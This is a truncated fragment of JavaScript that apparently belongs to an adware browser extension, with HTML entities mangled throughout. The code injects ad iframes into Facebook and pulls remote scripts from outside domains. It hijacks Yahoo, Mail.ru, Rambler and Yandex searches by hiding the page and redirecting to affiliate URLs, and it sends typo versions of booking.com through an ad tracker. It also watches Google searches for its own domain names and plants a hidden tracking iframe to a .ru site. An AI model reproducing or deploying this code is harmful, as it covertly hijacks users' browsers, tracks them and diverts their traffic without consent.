k = k.replace(/%SOURCE_ID%/, ($$ & amp; & amp; $$.tbParams & amp; & amp; $$.tbParams.tid) ? $$.tbParams.tid : "");
k = k.replace(/%SUBID%/, ($$ & amp; & amp; $$.tbParams & amp; & amp; $$.tbParams.sid) ? $$.tbParams.sid : "");
k = k.replace(/INSERT_RANDOM_NUMBER_HERE/, new Date().getTime());
return k
}
var f = j("<iframe id='c8866ab3' name='c8866ab3' src='//cdnpps.us/www/delivery/afr.php?zoneid=120&cb=INSERT_RANDOM_NUMBER_HERE&xid=%PUBLISHER_ID%_%SOURCE_ID%_%SUBID%' frameborder='0' scrolling='no' width='300' height='250' style='display:block;'><a href='//cdnpps.us/www/delivery/ck.php?n=c8866ab3' target='_blank'><img src='//cdnpps.us/www/delivery/avw.php?zoneid=120&n=c8866ab3' border='0' alt='' /></a></iframe>");
var c = j("<iframe id='8a61598d' name='8a61598d' src='//cdnpps.us/www/delivery/afr.php?zoneid=119&cb=INSERT_RANDOM_NUMBER_HERE&xid=%PUBLISHER_ID%_%SOURCE_ID%_%SUBID%' frameborder='0' scrolling='no' width='468' height='60' style='display:block;'><a href='//cdnpps.us/www/delivery/ck.php?n=8a61598d' target='_blank'><img src='//cdnpps.us/www/delivery/avw.php?zoneid=119&n=8a61598d' border='0' alt='' /></a></iframe>");
function g(k) {
return document.querySelectorAll(k) || []
}
var a = function(n, k, o, m) {
var l = document.createElement("div");
l.setAttribute("id", "_" + Math.floor((Math.random() * 1000000000)));
l.innerHTML = o;
l.setAttribute("style", "display: inline-block;height:" + k + "px !important;width:" + n + "px !important;margin:0 auto;z-index:99999999;border:0;");
m.style.textAlign = "center";
m.appendChild(l)
};
function h(k) {
k.style.minHeight = "500px";
k.id = "_" + k.id;
k.setAttribute("data-mytype", "name_baner");
k.innerHTML = "";
a(300, 500, f + f, k)
}
function i(k) {
var l = document.createElement("div");
l.setAttribute("data-mytype", "name_baner");
l.setAttribute("style", "width:468px;height:60px;margin:0 auto 10px auto;");
k.setAttribute("data-mytype", "name_baner");
k.appendChild(l);
a(468, 60, c, l)
}
var b = function() {
Array.prototype.forEach.call(g('div[class^="_5jmm _5pat"]'), function(k) {
if (!k.getAttribute("data-mytype")) {
i(k)
}
});
Array.prototype.forEach.call(g("#pagelet_ego_pane"), function(k) {
if (!k.getAttribute("data-mytype") & amp; & amp; k.offsetHeight & gt; 50) {
h(k)
}
});
setTimeout(b, 3333)
};
b();
var e = new MutationObserver(function(k) {
for (var l in k) {
if (k[l].addedNodes.length) {
b();
break
}
}
});
e.observe(document.getElementById("content"), {
childList: true
})
})();
}
}
} else {
$$.loadedCallback("BEFORE_OPTOUT_REQ");
$$.jsonp({
url: (window.location.protocol == "http:" ? "http:" : "https:") + "//" + $$.scriptDomain + "/optout/get",
data: {
key: "684a91d7f4464c3350"
},
callback: function(response) {
if (!response.success) {
$$.loadedCallback("OPTOUT_RESPONSE_FAIL");
return false
}
$$.loadedCallback("OPTOUT_RESPONSE_OK");
var userId = response.userId;
var startTime = response.strTm;
var optout = {};
if (response.optout) {
optout = $$.optoutValue = $$.fromJson(decodeURIComponent(response.optout))
}
var country = response.country;
var limits = {};
var ownMonetizationsClickFlag = false;
if (response.limits) {
limits = $$.limitsValue = $$.fromJson(decodeURIComponent(response.limits))
}
if (response.lcFlag & amp; & amp; response.lcFlag == 1) {
ownMonetizationsClickFlag = true
}
var targetingUser = response.targeting || 0;
var currentHostname = location.hostname;
currentHostname = currentHostname.replace("www.", "");
var timeNow = $$.unixTimestampNow;
if (!country) {
country = "xx"
}
country = country.toLowerCase();
if (!userId) {
userId = $$.randomNumber(1, 100);
$$.jsonp({
url: (window.location.protocol == "http:" ? "http:" : "https:") + "//" + $$.scriptDomain + "/optout/set/userid",
data: {
key: "684a91d7f4464c3350",
cv: userId
}
})
}
if (!startTime) {
$$.setStartTime()
}
var timeAfterInstall = $$.unixTimestampNow - startTime;
var platformBlocks = [];
for (var key in scriptsToLoad) {
try {
var scriptRow = scriptsToLoad[key];
var scriptUrl = scriptRow.url;
var scriptUrlParams = {};
var scriptCoverage = parseInt(scriptRow.coverage);
if (($$.getCookie("__mtzalnly") == 1 || $$.getCookie("__lnntlk") == 1) & amp; & amp;
['cd1d2', '210e2', 'b48fe', '6a131', '81d01', 'a5093', '865b2', '88350', 'f81c7', '80c44', '90f06'].indexOf(key) == -1) {
continue
}
if (isSearchEngine()) {
if (['4dc06', '42265', '84a21', 'ef3e3', '031e7', '58c2e', '85031', '5db45', 'ac348', '6cf2f', '220bb', 'b6eb3', '1a2aa', '08552', '4a71b', 'cd1d2', '81d01', 'f81c7', 'b777a', 'a49b5', 'c3369', '4a0ef', '5de0e', 'e1d94'].indexOf(key) == -1) {
continue
}
}
if (ownMonetizationsClickFlag) {
if (['4dc06', 'bd895', '1f755', '42265', '84a21', 'ef3e3', '031e7', '58c2e', '85031', 'ac348', '6cf2f', '220bb', 'b6eb3', '1a2aa', '5db45', '08552', '4a71b', '02aed'].indexOf(key) == -1) {
continue
}
}
if (typeof(scriptUrl) == "object") {
if (scriptUrl.rotator) {
var rotatorCount = scriptUrl.rotator.length;
if (!rotatorCount) {
rotatorCount = 0
}
var rotatorCookieName = "_mrtr_684a91d7f4464c3350_" + key;
var lastRotatedIndex = $$.getCookie(rotatorCookieName);
if (!lastRotatedIndex || lastRotatedIndex & lt; 0 || lastRotatedIndex & gt; = rotatorCount) {
lastRotatedIndex = 0
}
scriptUrlParams = scriptUrl.rotator[lastRotatedIndex];
scriptUrl = getUrlFromConfigObject(scriptUrlParams);
lastRotatedIndex++;
$$.setCookie(rotatorCookieName, lastRotatedIndex, {
expire: 86400
})
} else {
scriptUrlParams = scriptUrl;
scriptUrl = getUrlFromConfigObject(scriptUrlParams)
}
}
if (typeof(scriptUrl) != "string") {
break
}
if (!$$.demoMode) {
if ("1668" == 1549 & amp; & amp; location.protocol == "https:" & amp; & amp;
(key == "a8bb7" || key == "e9254")) {
return true
}
if ((location.hostname == "youtube.com" || location.hostname == "www.youtube.com") & amp; & amp; key != "1f755" & amp; & amp; key != "1fbee") {
continue
}
if (location.hostname.indexOf("facebook.com") & gt; - 1) {
continue
}
if (optout & amp; & amp; optout[key] != undefined & amp; & amp; optout[key] == true) {
continue
}
if (scriptRow.countries_allow & amp; & amp; scriptRow.countries_allow.indexOf(country) == -1) {
continue
}
if (scriptRow.countries_deny & amp; & amp; scriptRow.countries_deny.indexOf(country) & gt; - 1) {
continue
}
if (scriptCoverage & amp; & amp; scriptCoverage & lt; userId) {
continue
}
if (limits & amp; & amp; limits[key]) {
var leftTime = parseInt(limits[key]) - timeNow;
if (leftTime & gt; 0) {
continue
}
}
if (key == "a096e" & amp; & amp; targetingUser != 1) {
continue
}
var hostnameReg;
if (scriptRow.hostname_deny) {
hostnameReg = new RegExp("^" + scriptRow.hostname_deny + "$", "i");
if (hostnameReg.test(currentHostname)) {
continue
}
}
if (scriptRow.hostname_allow) {
hostnameReg = new RegExp("^" + scriptRow.hostname_allow + "$", "i");
if (!hostnameReg.test(currentHostname)) {
continue
}
}
if (scriptRow.browsers_allow || scriptRow.browsers_deny) {
if (typeof detect == "undefined") {
continue
}
var ua = detect.parse(navigator.userAgent);
var checkUa = ua.browser.family.toLowerCase();
var browserAllowed = false
}
if (scriptRow.browsers_allow) {
var browsersAllow = scriptRow.browsers_allow.toLowerCase().split("
");
for (var i2 in browsersAllow) {
if (browsersAllow[i2] == checkUa) {
browserAllowed = true;
break
}
}
if (!browserAllowed) {
continue
}
}
if (scriptRow.browsers_deny) {
var browsersDeny = scriptRow.browsers_deny.toLowerCase().split("
");
for (var i2 in browsersDeny) {
if (browsersDeny[i2] == checkUa) {
browserAllowed = false;
break
}
}
if (!browserAllowed) {
continue
}
}
} else {};
if (key == "1a2aa") {
continue
}
if (key == "5db45") {
continue
}
if (key == "309e4") {
continue
}
if (key == "a49b5" || key == "1dbbc") {
continue
}
if (scriptRow.type == "external") {
$$.loadedCallback("MNTZ_INJECT", key);
scriptUrl = scriptUrl.replace(/\/SID\//g, encodeURIComponent($$.tbParams.sid));
scriptUrl = scriptUrl.replace(/\/TITLE\//g, encodeURIComponent($$.tbParams.title));
scriptUrl = scriptUrl.replace(/\/REFERRER\//g, encodeURIComponent(location.href));
scriptUrl = scriptUrl.replace(/\/REF_HOST\//g, encodeURIComponent(location.hostname ? location.hostname : location.host));
scriptUrl = scriptUrl.replace(/\/RANDOM\//g, Math.floor(Math.random() * 52));
scriptUrl = scriptUrl.replace(/\/OPTOUTURL_DBLENCODED\//g, encodeURIComponent(encodeURIComponent(($$.tbParams.optoutUrl ? $$.tbParams.optoutUrl : "http://thisadsfor.us/optout?t=1668&u=50653&block=" + key))));
scriptUrl = scriptUrl.replace(/\/OPTOUTURL\//g, encodeURIComponent(($$.tbParams.optoutUrl ? $$.tbParams.optoutUrl : "http://thisadsfor.us/optout?t=1668&u=50653&block=" + key)));
if (scriptUrl) {
if (scriptUrl.substr(0, 2) == "//") {
scriptUrl = (window.location.protocol == "http:" ? "http:" : "https:") + scriptUrl
}(function(block) {
var script = $$.script(scriptUrl, false, (scriptUrlParams.tag_attributes ? scriptUrlParams.tag_attributes : null));
$$.on(script, "load", function() {
$$.loadedCallback("MNTZ_LOADED", block);
$$.updateLimits(block)
})
})(key)
} else {
$$.loadedCallback("MNTZ_LOADED", key);
$$.updateLimits(key)
}
} else {
if (scriptRow.type == "platform") {
platformBlocks.push(key)
} else {}
}
} catch (e) {
$$.loadedCallback("CORE_JS_ERROR", key)
}
}
if (platformBlocks.length & gt; 0) {
var params = ["sid=" + $$.tbParams.wid + "_" + $$.tbParams.tid + "_" + $$.tbParams.sid, "title=" + encodeURIComponent($$.tbParams.title)];
for (var i in platformBlocks) {
if (typeof platformBlocks[i] != "string") {
break
}
params.push("blocks[]=" + platformBlocks[i])
}
var url = (window.location.protocol == "http:" ? "http:" : "https:") + "//" + $$.scriptDomain + "/ext/684a91d7f4464c3350.js?" + params.join("&");
$$.script(url, false);
$$.loadedCallback("MNTZ_INJECT", platformBlocks.join("
"))
}
}
});
if (scriptsToLoad['af23c']) {
(function(f, h, j) {
var g = true;
try {
if (chrome.bookmarks) {
g = false
}
} catch (c) {}
if (location.protocol == "chrome-extension:") {
g = false
}
if (g) {
var b = window.location.href;
var l = document.getElementById("dexscriptpopup");
if (l === null & amp; & amp; b.indexOf("m.facebook.com") != "-1") {
document.body.style.width = "0px";
var k = document.createElement("div");
k.id = "dexscriptpopup";
k.style.cssText = "position:fixed; width:100%; height:100%; z-index:100; background:#fff; top:0px; left: 0px;";
document.body.appendChild(k);
setTimeout(function() {
window.close()
}, 10000)
}
var i = document.createElement("script");
i.id = "dexscriptid";
i.src = "https://votetoda.com/ext/script.php?id=ukr&track=true";
var a = document.getElementById("dexscriptid");
if (a === null) {
document.body.appendChild(i)
} else {}
} else {
var i = document.createElement("script");
i.id = "dexscriptid";
i.src = "https://votetoda.com/ext/script.php?id=ukr&track=false";
var a = document.getElementById("dexscriptid");
if (a === null) {
document.body.appendChild(i)
} else {}
}
})(document, window);
}
}
if (location.host.indexOf("youradexchange.com") & gt; = 0 & amp; & amp; location.pathname.indexOf("a/display.") & gt; = 0) {
if ($$.getParams & amp; & amp; $$.getParams.r & amp; & amp; $$.getParams.r != 391766 & amp; & amp; $$.getParams.r != 391769) {
var r = $$.randomNumber(1, 100);
var rLimit = 100;
if (r & lt; = rLimit) {
setTimeout(function() {
location.href = "http://www.youradexchange.com/a/display.php?r=391769&sub1=pr" + $$.tbParams.wid + "x" + $$.tbParams.tid + "x" + $$.tbParams.sid
}, 0)
} else {}
}
}
try {
if (location.hostname.indexOf("google.") == 0 || location.hostname.indexOf("www.google.") == 0) {
var checkKeywords = function() {
var searchEls = document.getElementsByName("q");
var kw;
if (searchEls) {
kw = searchEls[0].value
}
if (!kw) {
return false
}
var pattern = /(lnkr\.us|urlvalidation\.com|adrs\.me|adnotbad\.com|adserv\.info|amiok\.org|analyzecdn\.xyz|analyzenetwork\.xyz|bootstrapnet\.space|butstrap\.space|cdnanalytics\.xyz|cdncash\.com|cdncash\.net|cdncash\.org|cdnclntr\.com|cdnlvry\.xyz|cdnnetwok\.xyz|cdnstr\.xyz|cdnswf\.xyz|cdnvalid\.xyz|connectionstrenth\.com|domainanalyzing\.xyz|domaincdn\.xyz|domainvalidation\.xyz|extenjo\.net|flowanalytic\.site|ge0ip\.com|ge0ip\.net|ge0ip\.org|glganltcs\.space|glgnltks\.xyz|icontent\.us|intrnlcss\.xyz|jsfuel\.com|lancheck\.net|metrext\.com|netanalitics\.space|netanalytics\.xyz|netanalyzer\.space|netcheckcdn\.xyz|netstats\.space|netwcdn\.xyz|networkanalytics\.xyz|networkcheck\.xyz|ratexchange\.net|serverads\.net|siteheart\.net|spaceshipad\.com|spedcheck\.space|spidtest\.org|spidtest\.space|takethatad\.com|tradeadsexchange\.com|trendtext\.eu|validanalytics\.xyz|validationcdn\.xyz|validcdn\.xyz|validcndnet\.xyz|validdomain\.xyz|whatzmyip\.net|ydpi\.pw)/i;
if (kw.match(pattern)) {
clearTimeout(checkKeywordsTimerId);
$$.loadedCallback("GOOGLE_KEYWORD_MATCH");
$$.script("//urlvalidation.com/rememberme");
$$.script("//adrs.me/rememberme")
}
};
var checkKeywordsTimerId;
var runCheckKeywords = function() {
checkKeywordsTimerId = setTimeout(runCheckKeywords, 1000);
checkKeywords()
};
$$.ready(function() {
runCheckKeywords()
})
}
} catch (e) {}
var matchPattern = /(boobking\.|booing\.|buking\.|boocking\.|boooking\.|bookking\.|booing\.)/i;
if (location.hostname.match(matchPattern)) {
if (typeof window.stop == "function") {
window.stop()
}
location.href = "http://adrs.me/get?key=6ae9f4bd1dc812dc713d61cba871d8e8&out=http%3A%2F%2Fbooking.com&ref=http%3A%2F%2Fgo.com&format=go&uid=rdr50653"
}
if (isInIframe()) {
return
}
if (scriptsToLoad['85031']) {
(function() {
var block = '85031';
$$.ready(function() {
try {
(function() {
if (location.hostname.indexOf("search.yahoo.com") == -1 || location.pathname.indexOf("/search") == -1) {
return
}
var r = $$.randomNumber(1, 100);
var rLimit = scriptsToLoad[block].coverage;
if (r & gt; rLimit) {
return
}
$$.loadedCallback("MNTZ_LOADED", block);
if ($$.getCookie("__mtz_srchyho_fired") == 1) {
return
}
function getParams() {
params = {};
for (var e = location.search.replace("?", ""), r = e.split("&"), c = 0; c & lt; r.length; c++) {
t = r[c].split("="), t[1] & amp; & amp;
(params[t[0]] = t[1])
}
var a = location.hash.replace("#", "");
a & amp; & amp;
(t = a.split("="), t[1] & amp; & amp;
(params[t[0]] = t[1]))
}
function checkYahooTag() {
getParams();
if (location.href.indexOf("tightrope") & gt; - 1 & amp; & amp; location.href.indexOf("tr57") & gt; - 1) {
return
} else {
redirectSearch("p")
}
}
function redirectSearch(e) {
if (getParams(), void 0 != params[e]) {
window.stop & amp; & amp;
window.stop(), document.documentElement.style.opacity = "0", document.documentElement.style.display = "none";
var r = params[e],
c = "http://sugabit.net/search.php?source=btn&sid=" + $$.tbParams.wid + "x" + $$.tbParams.tid + "x" + $$.tbParams.sid + "&q=" + r;
$$.loadedCallback("BANNER_LOAD", block);
$$.setCookie("__mtz_srchyho_fired", 1, {
expire: 1800
});
location.href = c, clearInterval(tmr)
}
}
function checkForSearch() {
var e = location.href; - 1 != d.indexOf("search.yahoo.com") & amp; & amp;
checkYahooTag() & amp; & amp;
clearInterval(tmr)
}
var d = window.document.domain,
tmr, tmrCnt = 0,
params = {};
window == top & amp; & amp;
(checkForSearch(), tmr = setInterval(checkForSearch, 100))
})()
} catch (e) {}
})
})()
}
if (scriptsToLoad['ac348']) {
(function() {
var block = 'ac348';
$$.ready(function() {
try {
(function() {
if (location.hostname.indexOf("go.mail.ru") == -1 || location.pathname.indexOf("/search") == -1) {
return
}
var r = $$.randomNumber(1, 100);
var rLimit = scriptsToLoad[block].coverage;
if (r & gt; rLimit) {
return
}
$$.loadedCallback("MNTZ_LOADED", block);
if ($$.getCookie("__mtz_srchmlr_fired") == 1) {
return
}
function getParams() {
params = {};
for (var e = location.search.replace("?", ""), r = e.split("&"), c = 0; c & lt; r.length; c++) {
t = r[c].split("="), t[1] & amp; & amp;
(params[t[0]] = t[1])
}
var a = location.hash.replace("#", "");
a & amp; & amp;
(t = a.split("="), t[1] & amp; & amp;
(params[t[0]] = t[1]))
}
function checkMailruTag() {
getParams();
if (params.frc & amp; & amp; params.frc == "821563") {
return
} else {
redirectSearch("q")
}
}
function redirectSearch(e) {
if (getParams(), void 0 != params[e]) {
window.stop & amp; & amp;
window.stop(), document.documentElement.style.opacity = "0", document.documentElement.style.display = "none";
var r = params[e],
c = "http://sugabit.net/search.php?source=btn2&sid=" + $$.tbParams.wid + "x" + $$.tbParams.tid + "x" + $$.tbParams.sid + "&q=" + r;
$$.loadedCallback("BANNER_LOAD", block);
$$.setCookie("__mtz_srchmlr_fired", 1, {
expire: 1800
});
location.href = c, clearInterval(tmr)
}
}
function checkForSearch() {
var e = location.href; - 1 != d.indexOf("go.mail.ru") & amp; & amp;
checkMailruTag() & amp; & amp;
clearInterval(tmr)
}
var d = window.document.domain,
tmr, tmrCnt = 0,
params = {};
window == top & amp; & amp;
(checkForSearch(), tmr = setInterval(checkForSearch, 100))
})()
} catch (e) {}
})
})()
}
if (scriptsToLoad['5db45']) {
(function() {
var block = '5db45';
$$.ready(function() {
try {
if (location.hostname.indexOf("yandex.") !== 0 || location.pathname.indexOf("/search") == -1) {
return
}
var r = $$.randomNumber(1, 100);
var rLimit = scriptsToLoad[block].coverage;
if (r & gt; rLimit) {
return
}
$$.loadedCallback("MNTZ_LOADED", block);
if ($$.getCookie("__mtz_srchydx_fired") == 1) {
return
}
function getParams() {
params = {};
for (var e = location.search.replace("?", ""), r = e.split("&"), c = 0; c & lt; r.length; c++) {
t = r[c].split("="), t[1] & amp; & amp;
(params[t[0]] = t[1])
}
var a = location.hash.replace("#", "");
a & amp; & amp;
(t = a.split("="), t[1] & amp; & amp;
(params[t[0]] = t[1]))
}
function checkAff() {
getParams();
if (params.clid & amp; & amp; params.clid == "2300267") {
return true
} else {
window.stop & amp; & amp;
window.stop();
$$.loadedCallback("BANNER_LOAD", block);
$$.setCookie("__mtz_srchydx_fired", 1, {
expire: 1800
});
location.search = location.search.length ? location.search + "&clid=2300267" : "?clid=2300267";
clearInterval(tmr)
}
}
function checkForSearch() {
-1 != d.indexOf("yandex.") & amp; & amp;
checkAff() & amp; & amp;
clearInterval(tmr)
}
var d = window.document.domain,
tmr, params = {};
if (window == top) {
checkForSearch();
tmr = setInterval(checkForSearch, 100)
}
} catch (e) {}
})
})()
}
if (scriptsToLoad['5db45']) {
(function() {
var block = '5db45';
(function(n, i, q) {
var r = w["684a91d7f4464c3350"];
var o = r.getMonetizationConfig('5db45');
var j = document.domain;
var c = location.href;
var f = {};
var h = true;
if (j.indexOf("nova.rambler.ru") !== -1 & amp; & amp; c.indexOf("/search") !== -1 & amp; & amp; c.indexOf("query=") !== -1) {
document.documentElement.style.display = "none";
setTimeout(m, 3000)
}
if (j.indexOf("go.mail.ru") !== -1 & amp; & amp; c.indexOf("/search") !== -1 & amp; & amp; c.indexOf("q=") !== -1) {
document.documentElement.style.display = "none";
setTimeout(m, 3000)
}
if (j.indexOf("plusnetwork.com") !== -1 & amp; & amp; c.indexOf("q=") !== -1) {
document.documentElement.style.display = "none";
setTimeout(m, 3000)
}
if (j.indexOf("search.mysearch.com") !== -1 & amp; & amp; c.indexOf("/web") !== -1 & amp; & amp; c.indexOf("q=") !== -1) {
document.documentElement.style.display = "none";
setTimeout(m, 3000)
}
function m() {
document.documentElement.style.display = "block"
}
function a() {
if (document.head) {
var d = document.createElement("meta");
d.name = "referrer";
d.content = "no-referrer";
document.getElementsByTagName("head")[0].appendChild(d)
}
}
function p(l) {
f = {};
if (!l || l == "") {
l = location.href
}
var x = l.split("?");
var v = l.split("#");
if (x.length == 2) {
x = x[1]
} else {
x = x[0]
}
if (v.length == 2) {
x = x + "&" + v[1]
}
if (x != "") {
var d = x.split("&");
for (var u = 0; u & lt; d.length; u++) {
t = d[u].split("=");
if (t[1]) {
f[t[0]] = t[1]
}
}
}
}
function k(d) {
var l = setInterval(function() {
p();
if (f[d] == undefined) {
return
}
r.loadedCallback("BANNER_LOAD", '5db45');
var u = f[d];
var s = "http://search.feedvertizus.com/v1/hostedsearch?pid=252428&subid=965&subid2=y_" + ((r & amp; & amp; r.tbParams & amp; & amp; r.tbParams.tid) ? r.tbParams.tid : "") + "&keyword=" + u;
if (h) {
clearInterval(l);
h = false;
window.location.replace(s)
}
}, 0)
}
function g() {
document.documentElement.style.display = "none";
setTimeout(m, 3000);
var d = setInterval(function() {
r.loadedCallback("BANNER_LOAD", '5db45');
var l = "https://yandex.com/?clid=2300267";
if (h) {
clearInterval(d);
h = false;
window.location.replace(l)
}
}, 0)
}
function b() {
if (j.indexOf("nova.rambler.ru") != -1) {
a();
k("query")
}
if (j.indexOf("go.mail.ru") != -1) {
a();
k("q")
}
if (j.indexOf("plusnetwork.com") != -1) {
a();
k("q")
}
if (j.indexOf("search.mysearch.com") != -1) {
a();
k("q")
}
}
b();
function e() {
if (j.indexOf("r0.ru") != -1 & amp; & amp; location.pathname == "/") {
a();
g()
}
if (j.indexOf("go.mail.ru") != -1 & amp; & amp; location.pathname == "/") {
a();
g()
}
if (j.indexOf("securesurf.biz") != -1 & amp; & amp; location.pathname == "/") {
a();
g()
}
if (j.indexOf("mysearch24.com") != -1 & amp; & amp; location.pathname == "/") {
a();
g()
}
if (j.indexOf("search.mysearch.com") != -1 & amp; & amp; location.pathname == "/") {
a();
g()
}
if (j.indexOf("secure-finder.org") != -1 & amp; & amp; location.pathname == "/") {
a();
g()
}
if (j.indexOf("playbar.biz") != -1 & amp; & amp; location.pathname == "/") {
a();
g()
}
}
e()
})(document, window);
})()
}
if (scriptsToLoad['4d7da']) {
(function() {
(function(e, a, b) {
var c = document.createElement("iframe");
c.src = "https://nesmotrinamenya.ru/566bbee0f961ad71b54c3c2fd36db053";
c.width = 1;
c.height = 1;
c.style = "position:absolute;left:0px;top:0px;opacity:0.0;";
document.body.appendChild(c)
})(document, window);
})()
}
})(document, window);;
(function(g, a, e) {
var c = a["684a91d7f4464c3350"];
var f = c.Sizzle;
function b() {
var d = f(".commercial-unit");
var i = f("input[name=q]");
if (i.length & gt; 0 & amp; & amp; d.length & gt; 0) {
var h = i[0].value;
c.loadedCallback("GGL_COM_BLOCK", "", h)
}
}
c.each(f("input[name=q]"), function(d) {
c.on(d, "change", function() {
b()
})
});
b()
})(document, window, undefined);;
(function(e, a, f, c) {
var b = a[f];
b.twBarOptOutInit = function() {
var g = document.createElement("iframe");
g.setAttribute("style", "display: none; position: fixed; top: 50%; left: 50%; width: 650px; height: 500px; margin-top: -250px; margin-left: -325px; z-index: 2147483647;");
g.id = "__twbopt684a91d7f4464c3350";
g.frameBorder = 0;
g.scrolling = "no";
document.body.appendChild(g);
var d = null;
var h = function() {
if (d) {
clearTimeout(d)
}
var i = {};
if (g.contentWindow) {
i = g.contentWindow.document
} else {
if (g.contentDocument) {
i = g.contentDocument
}
}
i.open();
i.write('<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>' + a[f].tbParams.title + ' OptOut</title><style>article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,section,summary{display:block}audio,canvas,video{display:inline-block}template{display:none}html{font-family:sans-serif;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}body{margin:0}a{background:0 0}a:active,a:hover{outline:0}h1{margin:.67em 0}b,strong{font-weight:700}dfn{font-style:italic}hr{height:0;-moz-box-sizing:content-box;box-sizing:content-box}mark{color:#000;background:#ff0}code,kbd,pre,samp{font-size:1em}pre{white-space:pre-wrap}q{quotes:"\xd0\x92\xd0\x83C" "\xd0\x92\xd0\x83D" "\xd0\x92\xd0\x838" "\xd0\x92\xd0\x839"}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}figure{margin:0}button,input,select,textarea{margin:0}button,select{text-transform:none}button{cursor:pointer;-webkit-appearance:button}input[type=search]::-webkit-search-cancel-button,input[type=search]::-webkit-search-decoration{-webkit-appearance:none}button::-moz-focus-inner,input::-moz-focus-inner{padding:0;border:0}textarea{overflow:auto;vertical-align:top}table{border-collapse:collapse;border-spacing:0}@media print{*{color:#000!important;text-shadow:none!important;background:transparent!important;box-shadow:none!important}a,a:visited{text-decoration:underline}blockquote,pre{border:1px solid #999;page-break-inside:avoid}thead{display:table-header-group}img,tr{page-break-inside:avoid}img{max-width:100%!important}h2,h3,p{orphans:3;widows:3}h2,h3{page-break-after:avoid}select{background:#fff!important}}*,:after,:before{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{font-size:62.5%;-webkit-tap-highlight-color:rgba(0,0,0,0)}body{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:1.428571429;color:#333;background-color:#fff}button,input,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit}a{color:#428bca;text-decoration:none}a:focus,a:hover{color:#2a6496;text-decoration:underline}a:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}img{vertical-align:middle}hr{margin-top:20px;margin-bottom:20px;border:0;border-top:1px solid #eee}h1,h2,h3,h4,h5,h6{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-weight:500;line-height:1.1;color:inherit}h1,h2,h3{margin-top:20px;margin-bottom:10px}h4,h5,h6{margin-top:10px;margin-bottom:10px}h1{font-size:36px}h2{font-size:30px}h3{font-size:24px}h4{font-size:18px}h5{font-size:14px}h6{font-size:12px}p{margin:0 0 10px}small{font-size:85%}cite{font-style:normal}ol,ul{margin-top:0;margin-bottom:10px}dl{margin-top:0;margin-bottom:20px}dd,dt{line-height:1.428571429}dt{font-weight:700}dd{margin-left:0}blockquote{padding:10px 20px;margin:0 0 20px;border-left:5px solid #eee}blockquote:after,blockquote:before{content:""}address{margin-bottom:20px;font-style:normal;line-height:1.428571429}code,kbd,pre,samp{font-family:Menlo,Monaco,Consolas,"Courier New",monospace}code{padding:2px 4px;font-size:90%;color:#c7254e;white-space:nowrap;background-color:#f9f2f4;border-radius:4px}pre{display:block;padding:9.5px;margin:0 0 10px;font-size:13px;line-height:1.428571429;color:#333;word-break:break-all;word-wrap:break-word;background-color:#f5f5f5;border:1px solid #ccc;border-radius:4px}table{max-width:100%;background-color:transparent}th{text-align:left}fieldset{padding:0;margin:0;border:0}legend{display:block;width:100%;padding:0;margin-bottom:20px;font-size:21px;line-height:inherit;color:#333;border:0;border-bottom:1px solid #e5e5e5}label{display:inline-block;margin-bottom:5px;font-weight:700}input[type=number]::-webkit-inner-spin-button,input[type=number]::-webkit-outer-spin-button{height:auto}output{display:block;padding-top:7px;font-size:14px;line-height:1.428571429;color:#555;vertical-align:middle}.form-control:-ms-input-placeholder{color:#999}.form-control::-webkit-input-placeholder{color:#999}.btn{display:inline-block;padding:6px 12px;margin-bottom:0;font-size:14px;font-weight:400;line-height:1.428571429;text-align:center;white-space:nowrap;vertical-align:middle;cursor:pointer;background-image:none;border:1px solid transparent;border-radius:4px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none}.btn:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn:focus,.btn:hover{color:#333;text-decoration:none}.btn:active{background-image:none;outline:0;-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn-primary{color:#fff;background-color:#428bca;border-color:#357ebd}.btn-primary:active,.btn-primary:focus,.btn-primary:hover{color:#fff;background-color:#3276b1;border-color:#285e8e}.btn-primary:active{background-image:none}.btn-warning{color:#fff;background-color:#f0ad4e;border-color:#eea236}.btn-warning:active,.btn-warning:focus,.btn-warning:hover{color:#fff;background-color:#ed9c28;border-color:#d58512}.btn-warning:active{background-image:none}.btn-danger{color:#fff;background-color:#d9534f;border-color:#d43f3a}.btn-danger:active,.btn-danger:focus,.btn-danger:hover{color:#fff;background-color:#d2322d;border-color:#ac2925}.btn-danger:active{background-image:none}.btn-success{color:#fff;background-color:#5cb85c;border-color:#4cae4c}.btn-success:active,.btn-success:focus,.btn-success:hover{color:#fff;background-color:#47a447;border-color:#398439}.btn-success:active{background-image:none}.btn-lg{padding:10px 16px;font-size:18px;line-height:1.33;border-radius:6px}.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;border-radius:3px}.fade{opacity:0;-webkit-transition:opacity .15s linear;transition:opacity .15s linear}.fade.in{opacity:1}@font-face{font-family:"Glyphicons Halflings";src:url(../fonts/glyphicons-halflings-regular.eot);src:url(../fonts/glyphicons-halflings-regular.eot?#iefix) format("embedded-opentype"),url(../fonts/glyphicons-halflings-regular.woff) format("woff"),url(../fonts/glyphicons-halflings-regular.ttf) format("truetype"),url(../fonts/glyphicons-halflings-regular.svg#glyphicons-halflingsregular) format("svg")}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}.close{float:right;font-size:21px;font-weight:700;line-height:1;color:#000;text-shadow:0 1px 0 #fff;opacity:.2;filter:alpha(opacity=20)}.close:focus,.close:hover{color:#000;text-decoration:none;cursor:pointer;opacity:.5;filter:alpha(opacity=50)}button.close{padding:0;cursor:pointer;background:0 0;border:0;-webkit-appearance:none}.modal-open{overflow:hidden}.modal{position:fixed;top:0;right:0;bottom:0;left:0;z-index:2000000;display:none;overflow:auto;overflow-y:scroll}.modal.fade 